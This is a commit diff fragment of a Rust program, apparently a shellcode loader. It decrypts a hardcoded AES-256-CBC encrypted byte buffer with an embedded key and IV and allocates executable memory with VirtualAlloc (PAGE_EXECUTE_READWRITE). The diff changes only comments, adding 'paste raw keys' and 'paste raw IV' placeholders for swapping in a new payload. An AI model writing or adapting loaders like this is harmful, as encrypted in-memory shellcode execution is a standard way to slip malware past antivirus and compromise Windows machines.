@@ -47,13 +47,11 @@ fn main(){
47
47
26 , 222 , 129 , 96 , 187 , 3 , 99 , 145 , 8 , 241 , 241 , 49 , 53 , 245 , 126 , 231 , 12 , 181 , 144 , 228 , 3 , 4 , 253 , 76 , 9 , 235 , 255 , 126 , 119 , 85 , 75 , 55 , 37 , 19 ,
48
48
42 , 9 , 94 , 229 , 73 , 127 , 105 , 173 , 78 , 64 , 134 , 195 , 214 , 226 , 208 , 120 , 14 , 254 , 127 , 241 , 9 , 214 , 222 , 239 , 156 , 73 , 67 , 148 , 209 , 214 ] ;
49
49
50
- // KEYS
50
+ // PASTE RAW KEYS KEYS
51
51
let key: [ u8 ; 32 ] = [ 250 , 210 , 17 , 98 , 103 , 204 , 103 , 213 , 37 , 77 , 174 , 212 , 56 , 103 , 47 , 181 , 245 , 129 , 222 , 78 , 229 , 33 , 166 , 222 , 236 , 111 , 56 , 37 , 25 , 241 , 251 , 59 ] ;
52
- // IV
52
+ // PASTE RAW Initialization Vector (iv)
53
53
let iv: [ u8 ; 16 ] = [ 36 , 32 , 35 , 81 , 237 , 38 , 143 , 85 , 219 , 233 , 159 , 76 , 65 , 127 , 206 , 203 ] ;
54
54
55
- // let key = b"SUPER_SECRET_PASSWORD_IMPOSSIBLE";
56
- // let iv = b"This is 16 bytes";
57
55
58
56
let cipher = Cipher :: new_256 ( & key) ;
59
57
let buf = cipher. cbc_decrypt ( & iv, & buf) ;
@@ -62,7 +60,7 @@ fn main(){
62
60
let address = VirtualAlloc (
63
61
null_mut ( ) ,
64
62
buf. len ( ) ,
65
- 0x1000 | 0x2000 ,
63
+ 0x1000 | 0x2000 , // MEM_COMMIT | MEM_RESERVE
66
64
0x40 ,
67
65
) ;
68
66
0 commit comments